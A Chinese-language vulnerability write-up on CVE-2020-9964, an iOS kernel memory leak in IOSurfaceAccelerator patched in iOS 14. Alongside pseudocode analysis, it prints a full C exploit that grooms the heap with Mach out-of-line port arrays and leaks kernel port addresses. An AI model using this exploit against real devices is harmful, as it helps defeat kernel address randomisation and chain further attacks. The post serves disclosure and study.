2020年09月17日凌晨,苹果终于给所有用户推送了iOS14正式版,并同时发布了iOS 14.0的安全内容更新。阅读该公告后,你将会看到列表中的一个漏洞CVE-2020-9964,这是一个存在于IOSurfaceAccelerator中的安全漏洞。苹果将这个漏洞描述为:“本地用户将能够利用该漏洞读取内核内存数据,这是一个内存初始化问题。”那么在这篇文章中,我们将跟大家介绍有关该漏洞的详细信息。
IOSurfaceAcceleratorClient不仅是AppleM2ScalerCSCDriver IOService的用户客户端接口,也是为数不多的能够在App沙盒中打开的用户客户端。在这里,我们感兴趣的其实是这个用户客户端中的一个特定外部方法,也就是方法9-IOSurfaceAcceleratorClient::user_get_histogram。IOSurfaceAcceleratorClient在这个外部方法中使用了遗留的IOUserClient::getTargetAndMethodForIndex,方法9的IOExternalMethod描述符如下所示:
{
IOSurfaceAcceleratorClient::user_get_histogram,
kIOUCStructIStructO,
0x8,
0x0
}
在这里,我们可以看到user_get_histogram只会接收输入数据的八个字节,并且不会返回任何的输出数据,接下来我们一起来看一看这个方法的实现代码,下面给出的是带注释的伪代码:
IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize)
{
IOReturn result;
if (this->calledFromKernel)
{
...
}
else
{
IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task);
if ( memDesc )
{
ret = memDesc->prepare(kIODirectionNone);
if (ret)
{
...
}
else
{
ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc);
memDesc->complete(kIODirectionNone);
}
memDesc->release();
}
else
{
ret = kIOReturnNoMemory;
}
}
return ret;
}
我们可以看到其中包含的八个字节的结构化输入数据,它将会被设置为一个用户空间指针,AppleM2ScalerCSCDriver::get_histogram将能够利用该指针实现数据的写入或读取。实际上,get_histogram调用get_histogram_gated的过程如下所示:
IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc)
{
IOReturn result;
if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize )
result = kIOReturnSuccess;
else
result = kIOReturnIOError;
return result;
}
我们可以看到,client->histogramBuffer被写回至了用户空间,那么现在问题来了,client->histogramBuffer是什么鬼?它是在哪里被初始化的?其中的数据又是从哪里来的?
上述问题的答案我们得在IOSurfaceAcceleratorClient::initClient的身上去寻找,相关代码如下:
bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal)
{
...
if ( ... )
{
...
if ( ... )
{
size_t bufferSize = ...;
this->histogramSize = bufferSize;
this->histogramBuffer = (void *)IOMalloc(bufferSize);
IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0);
this->scheduler = scheduler;
if ( scheduler )
return true;
...
}
else
{
...
}
}
else
{
...
}
this->stopClient();
return false;
}
这里有一个很可疑的地方,代码为histogramBuffer分配了空间,但并未填充数据,而IOMalloc也没有给内存填充0,因此这里的histogramBuffer相当于完全没有初始化的。于是我尝试自己去调用这个方法,结果我查看到了大量的0xdeadbeef,说明这是一段未初始化的内存。
漏洞利用
这就非常棒了,因为我们可以将未初始化的内存泄露至用户空间,但我们应该怎么做呢?实际上,像这样的信息泄露问题本身相对还算是不严重的,但对于利用其他的内存崩溃漏洞时它就至关重要了。通常在利用这类漏洞时,首先需要找到匹配的端口地址,这也是我首要的目标。值得一提的是,这个漏洞也可以用来攻击kASLR。
在利用该漏洞时,我选择的目标分配地址时Mach消息out-of-line端口数组。在发送Mach消息是,我们可以将消息标记为“complex”。这将告诉内核下列Header并非元数据,而是描述符后接消息主体“body”。其中一个描述符为mach_msg_ool_ports_descriptor_t,它就是其中一个需要插入到接收任务中的out-of-line端口数组。
内存在接收上述信息时,内核可以通过创建一个包含指针(指向数组中每一个端口)的缓冲区来处理这些OOL端口(如果你感兴趣的话,可以查看ipc_kmsg_copyin_ool_ports_descriptor中的代码,我们在此不对其进行赘述)。这样一来,我们就可以使用它来触发任何大小的内核分配,其中将包含我们所要读取或提取的数据,并在任何时候进行随意释放。
高级漏洞利用流
针对该漏洞的漏洞利用代码如下:
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#if 0
AppleM2ScalerCSCDriver Infoleak:
IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.
IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.
When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.
This vulnerability is reachable from within the app sandbox on iOS.
Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.
Other kernel object addresses can be obtained using this vulnerability in similar ways.
#endif
#define ASSERT_KR(kr) do { \
if (kr != KERN_SUCCESS) { \
fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \
exit(EXIT_FAILURE); \
} \
} while(0)
#define LEAK_SIZE 0x300
#define SPRAY_COUNT 0x80
mach_port_t create_port(void)
{
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
return p;
}
io_connect_t open_client(const char* serviceName, uint32_t type)
{
io_connect_t client = MACH_PORT_NULL;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName));
assert(service != MACH_PORT_NULL);
IOServiceOpen(service, mach_task_self(), 0, &client);
assert(client != MACH_PORT_NULL);
IOObjectRelease(service);
return client;
}
void push_to_freelist(mach_port_t port)
{
uint32_t portCount = LEAK_SIZE / sizeof(void*);
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
} msg = {{0}};
mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t));
for (uint32_t i = 0; i < portCount; i++)
ports[i] = port;
size_t msgSize = sizeof(msg);
msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.header.msgh_size = msgSize;
msg.header.msgh_id = 'OOLP';
msg.body.msgh_descriptor_count = 1;
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg.ool_ports.address = (void*)ports;
msg.ool_ports.count = portCount;
msg.ool_ports.deallocate = false;
msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND;
mach_port_t rcvPorts[SPRAY_COUNT];
for (uint32_t i = 0; i < SPRAY_COUNT; i++)
{
mach_port_t rcvPort = create_port();
rcvPorts[i] = rcvPort;
msg.header.msgh_remote_port = rcvPort;
//trigger kernel allocation of port array:
kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
ASSERT_KR(kr);
}
for (uint32_t i = 1; i < SPRAY_COUNT; i++)
mach_port_destroy(mach_task_self(), rcvPorts[i]);
free((void*)ports);
}
//The actual vulnerability:
void leak_bytes(void* buffer)
{
io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0);
kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL);
ASSERT_KR(kr);
IOServiceClose(client);
}
uint64_t find_port_addr(mach_port_t port)
{
uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE);
printf("Preparing heap\n");
push_to_freelist(port);
printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);
leak_bytes(leak);
uint64_t addr = leak[1];
free(leak);
return addr;
}
int main(int argc, char* argv[], char* envp[])
{
mach_port_t port = create_port();
uint64_t port_addr = find_port_addr(port);
printf("Leaked port address: %p\n", (void*)port_addr);
return 0;
}
我的这份漏洞利用代码成功率已经接近100%了,如果漏洞利用不成功的话,请重新运行代码进行尝试。